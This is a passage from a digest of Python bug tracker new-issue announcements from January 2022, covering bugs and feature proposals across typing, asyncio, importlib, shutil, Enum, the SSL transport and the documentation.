Ulrich : round(250,-2) returns 200 round(350,-2) returns 400 round(450,-2) returns 400 round(550,-2) returns 600 round(5,-1) returns 0 round(15,-1) returns 20 round(500,-3) returns 0 round(1500,-3) returns 2000 expected: round of 5 to consistently rounds up. ---------- components: Interpreter Core messages: 411222 nosy: adam.ulrich priority: normal severity: normal status: open title: Rounding 5,50,500 behaves differently depending on preceding value type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 23:29:07 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 22 Jan 2022 04:29:07 +0000 Subject: [New-bugs-announce] [issue46468] http.server documentation missing default value for port Message-ID: <1642825747.07.0.0445462494126.issue46468@roundup.psfhosted.org> New submission from Jelle Zijlstra : "python -m http.server" works and listens on port 8000, but the docs suggest you always have to pass the port. PR incoming. ---------- assignee: Jelle Zijlstra components: Documentation messages: 411230 nosy: Jelle Zijlstra priority: normal severity: normal status: open title: http.server documentation missing default value for port versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 23:41:15 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 04:41:15 +0000 Subject: [New-bugs-announce] [issue46469] asyncio Generic classes should return GenericAlias in __class_getitem__ Message-ID: <1642826475.34.0.618901981445.issue46469@roundup.psfhosted.org> New submission from Kumar Aditya : In asyncio, the Generic classes return the class itself in __class_getitem__ instead of GenericAlias, because of this they cannot be introspected as GenericAlias objects. Running Debug|x64 interpreter... Python 3.11.0a4+ (main, Jan 22 2022, 10:00:18) [MSC v.1930 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import asyncio >>> asyncio.Future >>> asyncio.Future[int] >>> list >>> list[int] list[int] >>> list[int].__args__ (,) >>> asyncio.Future[int].__args__ Traceback (most recent call last): File "", line 1, in AttributeError: type object '_asyncio.Future' has no attribute '__args__' ---------- messages: 411231 nosy: asvetlov, kumaraditya303, yselivanov priority: normal severity: normal status: open title: asyncio Generic classes should return GenericAlias in __class_getitem__ type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 05:16:13 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 22 Jan 2022 10:16:13 +0000 Subject: [New-bugs-announce] [issue46470] `_remove_dups_flatten` in `typing.py` contains dead branch Message-ID: <1642846573.38.0.521672483974.issue46470@roundup.psfhosted.org> New submission from Nikita Sobolev : Here's how `_remove_dups_flatten` is defined right now: ``` def _remove_dups_flatten(parameters): """An internal helper for Union creation and substitution: flatten Unions among parameters, then remove duplicates. """ # Flatten out Union[Union[...], ...]. params = [] for p in parameters: if isinstance(p, (_UnionGenericAlias, types.UnionType)): params.extend(p.__args__) elif isinstance(p, tuple) and len(p) > 0 and p[0] is Union: params.extend(p[1:]) else: params.append(p) return tuple(_deduplicate(params)) ``` Source: https://github.com/python/cpython/blob/38afeb1a336f0451c0db86df567ef726f49f6438/Lib/typing.py#L274 It is only used in `def Union():`, source: https://github.com/python/cpython/blob/38afeb1a336f0451c0db86df567ef726f49f6438/Lib/typing.py#L522-L523 ``` parameters = tuple(_type_check(p, msg) for p in parameters) parameters = _remove_dups_flatten(parameters) ``` But, notice that `_remove_dups_flatten` contains this branch: `elif isinstance(p, tuple) and len(p) > 0 and p[0] is Union:`. It is never executed, removing it does not change `test_typing` / `test_types` results. And it is reasonable: `_type_check` ensures that `parameters` can only contain types, not `tuple`s. Proof: ``` >>> from typing import Union, get_type_hints >>> Union[int, (Union, str, bool)] # TypeError: Union[arg, ...]: each arg must be a type. Got (typing.Union, , ). >>> class Some: ... x: 'Union[int, (Union, str, bool)]' ... >>> get_type_hints(Some) # TypeError: Union[arg, ...]: each arg must be a type. Got (typing.Union, , ). ``` Since it is pretty old, I guess the internal API has changed significantly and it is not needed anymore. I am going to send a PR to remove it. ---------- components: Library (Lib) messages: 411244 nosy: sobolevn priority: normal severity: normal status: open title: `_remove_dups_flatten` in `typing.py` contains dead branch type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 06:04:42 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sat, 22 Jan 2022 11:04:42 +0000 Subject: [New-bugs-announce] [issue46471] use global singletons for single byte bytes objects in deepfreeze Message-ID: <1642849482.66.0.726035598886.issue46471@roundup.psfhosted.org> New submission from Kumar Aditya : By using global singletons for single byte bytes objects in deepfreeze, there is no need to generate c code for it so it reduces the size of generated c file and reduces memory use of the objects when they are allocated on the heap as now they are statically allocated and they are already immortal. ---------- components: Build messages: 411245 nosy: gvanrossum, kumaraditya303 priority: normal severity: normal status: open title: use global singletons for single byte bytes objects in deepfreeze type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 09:35:44 2022 From: report at bugs.python.org (I_love_study) Date: Sat, 22 Jan 2022 14:35:44 +0000 Subject: [New-bugs-announce] [issue46472] A option that choose between single quote and double quote in shlex.quote Message-ID: <1642862144.42.0.109512235386.issue46472@roundup.psfhosted.org> New submission from I_love_study <1450069615 at qq.com>: shlex.quote always use single quote but in some shell (like Cmd on Windows), single quote cannot be recognized as a shell-escaped string, only double quote can. So I think a option that can choose between single quote and double quote is better ---------- components: Library (Lib) messages: 411258 nosy: I-love-study priority: normal severity: normal status: open title: A option that choose between single quote and double quote in shlex.quote type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 10:51:35 2022 From: report at bugs.python.org (Ben) Date: Sat, 22 Jan 2022 15:51:35 +0000 Subject: [New-bugs-announce] [issue46473] importlib.metadata does not honor .egg-link files Message-ID: <1642866695.44.0.0158808899685.issue46473@roundup.psfhosted.org> New submission from Ben : When installing a package using --editable, pip creates a .egg-link file in your site-packages dir that points to the .egg-info metadata that by default exists along side the source that it was installed from. This worked just fine with the older pkg_resources package. However, the newer importlib.metadata does not seem to be aware of .egg-link files at all. The only solution is to include the source dir that contains the .egg-info metadata into your PYTHONPATH, which sort of defeats the purpose of having the .egg-link pointer in the first place. ---------- components: Distutils, Library (Lib) messages: 411262 nosy: dstufft, eric.araujo, onlinespending priority: normal severity: normal status: open title: importlib.metadata does not honor .egg-link files type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 14:18:51 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Sat, 22 Jan 2022 19:18:51 +0000 Subject: [New-bugs-announce] [issue46474] Inefficient regular expression complexity in EntryPoint.pattern Message-ID: <1642879131.5.0.511561891701.issue46474@roundup.psfhosted.org> New submission from Jason R. Coombs : Originally reported to the Python Security Response Team, the EntryPoint.pattern demonstrates a potential [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_). The issue has been patched and fix released with importlib_metadata 4.10.1. Let's get that fix incorporated into Python as well. ---------- assignee: jaraco components: Library (Lib) messages: 411282 nosy: jaraco priority: normal severity: normal status: open title: Inefficient regular expression complexity in EntryPoint.pattern type: security versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 17:48:21 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 22 Jan 2022 22:48:21 +0000 Subject: [New-bugs-announce] [issue46475] Document use of NoReturn as a bottom type Message-ID: <1642891701.69.0.92347893734.issue46475@roundup.psfhosted.org> New submission from Jelle Zijlstra : At the moment, https://docs.python.org/3.10/library/typing.html#typing.NoReturn simply says: Special type indicating that a function never returns. In practice, type checkers accept NoReturn as a bottom type in other positions too. We should document this behavior. ---------- assignee: Jelle Zijlstra messages: 411297 nosy: AlexWaygood, Jelle Zijlstra, gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: Document use of NoReturn as a bottom type _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:29:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 00:29:31 +0000 Subject: [New-bugs-announce] [issue46476] Not all memory allocated by _Py_Quicken() is not released at Python exit Message-ID: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> New submission from STINNER Victor : Python leaks around 66 memory blocks at exit. Most of them are allocated by _Py_Quicken() of Python/specialize.c. int _Py_Quicken(PyCodeObject *code) { ... SpecializedCacheOrInstruction *quickened = allocate(entry_count, instr_count); ... code->co_quickened = quickened; ... return 0; } The memory is stored in PyCodeObject.co_quickened member. This member *is* cleared by the code object deallocator function, code_dealloc(): static void code_dealloc(PyCodeObject *co) { ... if (co->co_quickened) { PyMem_Free(co->co_quickened); _Py_QuickenedCount--; } ... } I read recently that deepfreeze creates "immortal" code objects (refcount of 999999999). I guess that it's related. I used Valgrind to look for memory leaked by Python at exit: $ PYTHONMALLOC=malloc valgrind --show-leak-kinds=all --leak-check=full --log-file=valgrind.log --num-callers=50 ./python -c pass Extract of valgrind.log: ==1266888== 5,528 bytes in 13 blocks are still reachable in loss record 33 of 33 ==1266888== at 0x484186F: malloc (vg_replace_malloc.c:381) ==1266888== by 0x544DBC: _PyMem_RawMalloc (obmalloc.c:100) ==1266888== by 0x545B13: PyMem_Malloc (obmalloc.c:618) ==1266888== by 0x6AAE6F: allocate (specialize.c:231) ==1266888== by 0x6AB3F0: _Py_Quicken (specialize.c:420) ==1266888== by 0x622CE7: _Py_IncrementCountAndMaybeQuicken (pycore_code.h:152) ==1266888== by 0x626315: _PyEval_EvalFrameDefault (ceval.c:1792) ==1266888== by 0x622B13: _PyEval_EvalFrame (pycore_ceval.h:53) ==1266888== ... ==1266888== ==1266888== LEAK SUMMARY: ==1266888== definitely lost: 0 bytes in 0 blocks ==1266888== indirectly lost: 0 bytes in 0 blocks ==1266888== possibly lost: 0 bytes in 0 blocks ==1266888== still reachable: 24,240 bytes in 66 blocks ==1266888== suppressed: 0 bytes in 0 blocks See also bpo-46449: "Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal)". ---------- components: Interpreter Core messages: 411315 nosy: vstinner priority: normal severity: normal status: open title: Not all memory allocated by _Py_Quicken() is not released at Python exit versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 19:37:08 2022 From: report at bugs.python.org (Ethan Furman) Date: Sun, 23 Jan 2022 00:37:08 +0000 Subject: [New-bugs-announce] [issue46477] Enum: ensure bitwise operators on subclasses are correct Message-ID: <1642898228.67.0.336074003438.issue46477@roundup.psfhosted.org> New submission from Ethan Furman : Creating one's own int Flag type doesn't work properly with regards to the bitwise operators: class MyIntFlag(int, Flag): ONE = 1 TWO = 2 FOUR = 4 MyIntFlag.ONE | MyIntFlag.TWO # MyIntFlag.ONE | 2 # 3 ---------- assignee: ethan.furman messages: 411319 nosy: ethan.furman priority: normal severity: normal status: open title: Enum: ensure bitwise operators on subclasses are correct type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 22 22:38:48 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 23 Jan 2022 03:38:48 +0000 Subject: [New-bugs-announce] [issue46478] DirEntry.stat() of os.scandir() has no dir_fd parameter Message-ID: <1642909128.93.0.607023254036.issue46478@roundup.psfhosted.org> New submission from STINNER Victor : I read the Rust CVE-2022-21658 vulnerability of std::fs::remove_dir_all: https://blog.rust-lang.org/2022/01/20/cve-2022-21658.html It's a race condition if an attacker replaces a directory with a symlink while Rust is removing the parent directory, Rust follows the symlink rather than just removing the symlink. shutil._rmtree_safe_fd() uses os.scandir(). If entry.is_dir(follow_symlinks=False) is true, it calls entry.stat(follow_symlinks=False). It opens the directory as a file to remove the directory. It checks os.path.samestat(orig_st, os.fstat(dirfd)): if it's false, it raises an exception: try: # This can only happen if someone replaces # a directory with a symlink after the call to # os.scandir or stat.S_ISDIR above. raise OSError("Cannot call rmtree on a symbolic " "link") except OSError: onerror(os.path.islink, fullname, sys.exc_info()) I understand that this check is in place to detect the Rust CVE-2022-21658 vulnerability. I noticed that the first entry.is_dir(follow_symlinks=False) call does a stat() syscall, but it doesn't pass the directory file descriptor. It would be even safer to pass it, just in case if the parent directory has been modified in the meanwhile as well. ---------- components: Library (Lib) messages: 411338 nosy: serhiy.storchaka, vstinner priority: normal severity: normal status: open title: DirEntry.stat() of os.scandir() has no dir_fd parameter versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 00:15:50 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 05:15:50 +0000 Subject: [New-bugs-announce] [issue46479] Implement typing.reveal_locals Message-ID: <1642914950.74.0.308190454121.issue46479@roundup.psfhosted.org> New submission from Jelle Zijlstra : Implement typing.reveal_locals() as proposed in https://mail.python.org/archives/list/typing-sig at python.org/thread/5MGN6HZWTJELNLIUOXTHLIXVLKZCEWY2/. This is a marker for type checkers that causes them to emit the types of all local variables. ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 411344 nosy: AlexWaygood, Jelle Zijlstra, gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: Implement typing.reveal_locals type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 00:19:12 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 23 Jan 2022 05:19:12 +0000 Subject: [New-bugs-announce] [issue46480] Implement typing.assert_type Message-ID: <1642915152.65.0.424582308271.issue46480@roundup.psfhosted.org> New submission from Jelle Zijlstra : Implement typing.assert_type as proposed in https://mail.python.org/archives/list/typing-sig at python.org/thread/MITFQ6Z45RRMXY3HNM66IC3XXS3TA3JN/. This is a special primitive that asserts to the type checker what the type of an expression is. Tentatively dropping assert_error() based on Eric's feedback. ---------- assignee: Jelle Zijlstra components: Library (Lib) messages: 411345 nosy: AlexWaygood, Jelle Zijlstra, gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: Implement typing.assert_type type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 01:50:14 2022 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 23 Jan 2022 06:50:14 +0000 Subject: [New-bugs-announce] [issue46481] Implement vectorcall protocol for weakref_call() Message-ID: <1642920614.99.0.42696880925.issue46481@roundup.psfhosted.org> New submission from Dong-hee Na : Triggered by Victor's suggestion: - Well-used. - Easy to enhance performance. - Performance enhancement is notable. Mean +- std dev: [weakref_base] 49.3 ns +- 2.2 ns -> [weakref_vectorcall] 27.7 ns +- 0.9 ns: 1.78x faster ---------- assignee: corona10 components: Interpreter Core files: bench_weakref.py messages: 411350 nosy: corona10, vstinner priority: normal severity: normal status: open title: Implement vectorcall protocol for weakref_call() type: performance versions: Python 3.11 Added file: https://bugs.python.org/file50578/bench_weakref.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 02:45:30 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 23 Jan 2022 07:45:30 +0000 Subject: [New-bugs-announce] [issue46482] `typing.Annotation.__new__` is not covered Message-ID: <1642923930.92.0.866402366544.issue46482@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now no unit test covers this line: https://github.com/python/cpython/blob/51c3e28c8a163e58dc753765e3cc51d5a717e70d/Lib/typing.py#L1669-L1670 I will send a simple test for it. ---------- components: Tests messages: 411352 nosy: gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: `typing.Annotation.__new__` is not covered type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 03:16:30 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 23 Jan 2022 08:16:30 +0000 Subject: [New-bugs-announce] [issue46483] `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` Message-ID: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org> New submission from Nikita Sobolev : After reviewing https://github.com/python/cpython/pull/30777 I had a chance to look through other definitions of `def __class_getitem__`. And I found that the only one left is: `pathlib.PurePath.__class_getitem__` All other definitions already have this form: `__class_getitem__ = classmethod(GenericAlias)`. I don't think that there's anything special about `PurePath` in this regard. So, I propose to make `__class_getitem__` to return `GenericAlias` as all other types do. Initial PR: https://github.com/python/cpython/pull/17498 PR is on its way. ---------- components: Library (Lib) messages: 411354 nosy: sobolevn priority: normal severity: normal status: open title: `pathlib.PurePath.__class_getitem__` does not return `GenericAlias` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 05:20:17 2022 From: report at bugs.python.org (jiahua wang) Date: Sun, 23 Jan 2022 10:20:17 +0000 Subject: [New-bugs-announce] [issue46484] Add test for Calendar().iterweekdays() Message-ID: <1642933217.39.0.499836465558.issue46484@roundup.psfhosted.org> New submission from jiahua wang : Apparently there is no test for Calendar().iterweekdays(). wangdeMacBook-Pro :: ~/cpython ? grep -R iterweekdays Lib/test/ * Binary file Lib/test//__pycache__/test_calendar.cpython-311.pyc matches Doc/library/calendar.rst: .. method:: iterweekdays() Binary file Lib/test/__pycache__/test_calendar.cpython-311.pyc matches Binary file Lib/__pycache__/calendar.cpython-311.pyc matches Lib/calendar.py: def iterweekdays(self): Lib/calendar.py: return ' '.join(self.formatweekday(i, width) for i in self.iterweekdays()) Lib/calendar.py: s = ''.join(self.formatweekday(i) for i in self.iterweekdays()) ---------- components: Tests messages: 411359 nosy: wangjiahua priority: normal severity: normal status: open title: Add test for Calendar().iterweekdays() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 05:38:56 2022 From: report at bugs.python.org (Robert Einhorn) Date: Sun, 23 Jan 2022 10:38:56 +0000 Subject: [New-bugs-announce] [issue46485] ~ PEG operator in the grammar Message-ID: <1642934336.87.0.137852239305.issue46485@roundup.psfhosted.org> New submission from Robert Einhorn : This is probably not an error and I may misinterpret the PEP 617, but I don't know what the ~ PEG operator means in the next rule if there is no alternative: assignment_expression: | NAME ':=' ~ expression And similarly with this rule if there is no more alternative: assignment: | NAME ':' expression ['=' annotated_rhs ] | ('(' single_target ')' | single_subscript_attribute_target) ':' expression ['=' annotated_rhs ] | (star_targets '=' )+ (yield_expr | star_expressions) !'=' [TYPE_COMMENT] | single_target augassign ~ (yield_expr | star_expressions) Related links: https://docs.python.org/3/reference/grammar.html https://www.python.org/dev/peps/pep-0617/#id9 ---------- components: Parser messages: 411360 nosy: RobEin, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: ~ PEG operator in the grammar versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 08:19:54 2022 From: report at bugs.python.org (Kumar Aditya) Date: Sun, 23 Jan 2022 13:19:54 +0000 Subject: [New-bugs-announce] [issue46486] Rename DesciptorClassification => DescriptorClassification in specialize.c Message-ID: <1642943994.09.0.155847688155.issue46486@roundup.psfhosted.org> New submission from Kumar Aditya : Rename DesciptorClassification => DescriptorClassification in specialize.c as DesciptorClassification has a typo. ---------- messages: 411365 nosy: Mark.Shannon, kj, kumaraditya303 priority: normal severity: normal status: open title: Rename DesciptorClassification => DescriptorClassification in specialize.c versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 11:49:39 2022 From: report at bugs.python.org (Nova) Date: Sun, 23 Jan 2022 16:49:39 +0000 Subject: [New-bugs-announce] [issue46487] `_SSLProtocolTransport` doen't have the `get_write_buffer_limits` implementation. Message-ID: <1642956579.88.0.874451356364.issue46487@roundup.psfhosted.org> New submission from Nova : When calling `get_write_buffer_limits` on a SSL transport the following exception is raised: ```py Traceback (most recent call last): File "/home/mooncell/works/test.py", line 26, in asyncio.run(main()) File "/usr/lib/python3.10/asyncio/runners.py", line 44, in run return loop.run_until_complete(main) File "/usr/lib/python3.10/asyncio/base_events.py", line 641, in run_until_complete return future.result() File "/home/mooncell/works/test.py", line 24, in main print(transport.get_write_buffer_limits()) File "/usr/lib/python3.10/asyncio/transports.py", line 306, in get_write_buffer_limits return (self._low_water, self._high_water) AttributeError: '_SSLProtocolTransport' object has no attribute '_low_water'. Did you mean: '_high_water'? ``` We looked into the implementation and found out that `_SSLProtocolTransport` didn't override the `_FlowControlMixin.get_write_buffer_limits`. ---------- components: asyncio messages: 411382 nosy: asvetlov, mooncell07, yselivanov priority: normal severity: normal status: open title: `_SSLProtocolTransport` doen't have the `get_write_buffer_limits` implementation. type: enhancement versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 12:08:12 2022 From: report at bugs.python.org (Barry Schwartz) Date: Sun, 23 Jan 2022 17:08:12 +0000 Subject: [New-bugs-announce] [issue46488] listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. Message-ID: <1642957692.71.0.50251931352.issue46488@roundup.psfhosted.org> New submission from Barry Schwartz : The Objects/listsort.txt incorrectly implies that it is not possible to compute leading zero bits in O(1) time, using only standard C. For a fixed integer size it can be done, for instance, using de Bruijn sequences. See https://www.chessprogramming.org/BitScan (The existence of such methods is not as widely known as it ought to be.) ---------- assignee: docs at python components: Documentation messages: 411384 nosy: chemoelectric, docs at python priority: normal severity: normal status: open title: listsort.txt wrongly assumes you cannot calculate leading zeros in O(1) time. type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:37:37 2022 From: report at bugs.python.org (Danylo) Date: Sun, 23 Jan 2022 18:37:37 +0000 Subject: [New-bugs-announce] [issue46489] webbrowser crashes Ubuntu kernel Message-ID: <1642963057.93.0.950018315432.issue46489@roundup.psfhosted.org> New submission from Danylo : I've been hunting this problem for half a year already. With other hypotheses rejected - Linux issue, old PC, PyCharm bug, bad luck, - the webbrowser Python lib supposedly makes the Ubuntu kernel panic. Either from a terminal or within PyCharm (happens on both), I run ``` controller = webbrowser.get('google-chrome') for link in links_list: # up to 10 items controller.open(link) time.sleep(1) ``` and the system crashes (hangs until a hard or soft reset) after several web pages are opened in my Chrome browser as the result of running the program. All the details you'll find at https://askubuntu.com/questions/1370213/ubuntu-hangs-and-becomes-unresponsive-until-reset. I first thought it's something wrong with Ubuntu, and I opened a question on the forum. The only detail I've not added there is that after each crash I can move the mouse on the screen but cannot interact with anything. That thing always puzzled me. I can neither say the website I'm running the webbrowser nor test it on other domains - the issue happens sporadically, once in several hours of me opening and closing a Chrome browser controlled by the webbrowser lib. Python 3.9.7, installed with Anaconda. I've tried older versions of Python. Ubuntu 20.04 LTS. ---------- components: Library (Lib) messages: 411396 nosy: dizcza priority: normal severity: normal status: open title: webbrowser crashes Ubuntu kernel type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 13:41:48 2022 From: report at bugs.python.org (Delgan) Date: Sun, 23 Jan 2022 18:41:48 +0000 Subject: [New-bugs-announce] [issue46490] Add "follow_symlinks=False" support for "os.utime()" on Windows Message-ID: <1642963308.84.0.964070745498.issue46490@roundup.psfhosted.org> New submission from Delgan : Hi. Currently, trying to use "os.utime(path, timestamps, follow_symlinks=False)" raises a exception on Windows: "NotImplementedError: utime: follow_symlinks unavailable on this platform". Looking at the Win32 API it seems possible to open a symbolic link by specifying the "FILE_FLAG_OPEN_REPARSE_POINT" flag: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew#symbolic-link-behavior Do you think it would be possible to update "os.utime()" implementation and optionally pass the flag here: https://github.com/python/cpython/blob/ca78130d7eb5265759697639e42487ec6d0a4caf/Modules/posixmodule.c#L5516 ? ---------- components: Library (Lib) messages: 411399 nosy: Delgan priority: normal severity: normal status: open title: Add "follow_symlinks=False" support for "os.utime()" on Windows versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:03:20 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Sun, 23 Jan 2022 19:03:20 +0000 Subject: [New-bugs-announce] [issue46491] typing: allow Annotated in outermost scope Message-ID: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org> New submission from Gregory Beauregard : Currently, `typing.Annotated` (PEP 593) cannot be used at runtime with `typing.Final` and `typing.ClassVar` with `Annotated` on the outside: ``` from typing import Annotated, Final # TypeError: typing.Final[int] is not valid as type argument var: Annotated[Final[int], "foo"] = 4 ``` The only tenuously related mention of this I can find in a PEP is in PEP 593 (Annotated) which states "The first argument to Annotated must be a valid type". I believe the runtime behavior should be changed to allow any ordering for `Annotated` with `ClassVar` and `Final`. This was discussed in the typing-sig PEP 655 thread (TypedDict `Required` and `NotRequired`) where the current plan is to allow `Required`/`NotRequired` in any nesting order with `Annotated` while suggesting the `ClassVar`/`Final` ordering restriction be lifted: https://mail.python.org/archives/list/typing-sig at python.org/message/22CJ5TJGIJ563D6ZKB7R3VUZXTZQND5X/ The argument for doing so is on the mailing list: https://mail.python.org/archives/list/typing-sig at python.org/message/MPMOIBX3XFXCD4ZNDC6AV4CLSI5LN544/ To summarize: adopting an overly strict view of what constitutes a valid type for `Annotated` creates difficulties for people who use runtime introspection of `Annotated` annotations by requiring them to parse additional typing or field annotations (https://bugs.python.org/msg411067). This needlessly exacerbates tension between typing and non-typing uses of annotation space. In order to be a good citizen to other annotation users, the `Annotated` runtime ordering restriction should be lifted. ---------- messages: 411404 nosy: GBeauregard priority: normal severity: normal status: open title: typing: allow Annotated in outermost scope type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 14:48:57 2022 From: report at bugs.python.org (Roy Assis) Date: Sun, 23 Jan 2022 19:48:57 +0000 Subject: [New-bugs-announce] [issue46492] BrokenPipeError when piping to head (linux) Message-ID: <1642967337.45.0.0488818271816.issue46492@roundup.psfhosted.org> New submission from Roy Assis : problem: ------- Python raises exception when piping to head. Exception is not caught by try except. code: ---- #sample.py import sys from time import sleep try: for line in sys.stdin: print(line, flush=True) sleep(2) except: print("a") Environment: ---------- # Python 3.8.12 (default, Oct 12 2021, 13:49:34) # [GCC 7.5.0] :: Anaconda, Inc. on linux # (scanpyEnv3.8) aaa at IP111-11-1-111:~/scripts/short-python-scripts$ uname -srm # Linux 5.4.0-1063-aws x86_64 code execution -------------- # (scanpyEnv3.8) aaa at IP111-11-1-111:~/scripts/short-python-scripts$ echo "a a a a" | sed s'/ /\n/g' | python ./sample.py | head -3 # a # # a # Exception ignored in: <_io.TextIOWrapper name='' mode='w' encoding='utf-8'> # BrokenPipeError: [Errno 32] Broken pipe ---------- components: IO messages: 411413 nosy: royroy priority: normal severity: normal status: open title: BrokenPipeError when piping to head (linux) type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 16:50:43 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 23 Jan 2022 21:50:43 +0000 Subject: [New-bugs-announce] [issue46493] Add an API to indicate if the process might have multiple threads Message-ID: <1642974643.07.0.471616309157.issue46493@roundup.psfhosted.org> New submission from Gregory P. Smith : It'd be handy to have a function to determine if there are multiple threads in the current process or not - at least on POSIXish systems. This would be useful anytime a library is trying to use os.fork(), as fork() is not safe in a multi-threaded process. Motivation: I want to _use_ this API to consider raising RuntimeWarnings in libraries that call fork() to highlight the problem to people attempting to use that code in multithreaded processes. As POSIXy OSes don't usually have a simple API to get this information, one implementation such as this could make sense: ``` def is_process_multithreaded() -> bool: """Are there multiple threads in this process? OSError if no such OS API is available.""" threads = 0 ourself = str(os.gettid()) i_feel_seen = False try: # Linux, NetBSD, any others? with os.scandir('/proc/self/task') as tasks: for task_dir_entry in tasks: # tid named subdirs should be the only thing that exists. # We do a simple conformity check just in case. if task_dir_entry.name.isdigit(): if task_dir_entry.name == ourself: i_feel_seen = True threads += 1 if i_feel_seen and threads > 1: return True # Multiple threads confirmed. except EnvironmentError: raise OSError('Unable to count threads on this platform.') if i_feel_seen and threads == 1: return False else: raise OSError(f'Unclear. Found {threads} in /proc/self/task and did not find ourself.') ``` macOS has mach darwin kernel APIs that can do this. Not well documented but they do work - https://stackoverflow.com/questions/21478229/how-to-count-number-of-alive-threads-in-ios FreeBSD has APIs that can do this (see FreeBSD usr.bin/procstat/ source). configure.ac checks and an extension module would be needed to integrate those. My use case is not relevant to Windows (a platform unburdened by fork) but Windows APIs to answer the question exist if anyone has a reason to want this there as well - https://stackoverflow.com/questions/3749668/how-to-query-the-thread-count-of-a-process-using-the-regular-windows-c-c-apis ---------- components: Library (Lib) messages: 411420 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: Add an API to indicate if the process might have multiple threads type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 23 19:51:36 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 24 Jan 2022 00:51:36 +0000 Subject: [New-bugs-announce] [issue46494] Mention typing_extensions in the typing documentation Message-ID: <1642985496.62.0.269697400688.issue46494@roundup.psfhosted.org> New submission from Jelle Zijlstra : I've often seen people say things like "I can't use TypeGuard yet, I'm stuck on 3.9". That's not true, because the typing_extensions package backports all typing features to all supported Python versions. To help make people aware of this option, we should mention typing_extensions in https://docs.python.org/3.10/library/typing.html. Perhaps this can go in the "Relevant PEPs" section, or at the end of the intro section. Suggested wording: "New features have been added to the typing module in each major version of Python. The typing extensions (link to GitHub) package provides backports to all supported versions of Python 3 for almost all of these features." ---------- assignee: docs at python components: Documentation messages: 411434 nosy: AlexWaygood, Jelle Zijlstra, docs at python, gvanrossum, kj, sobolevn, srittau priority: normal severity: normal status: open title: Mention typing_extensions in the typing documentation versions: Python 3.10, Python 3.11, Python 3.9 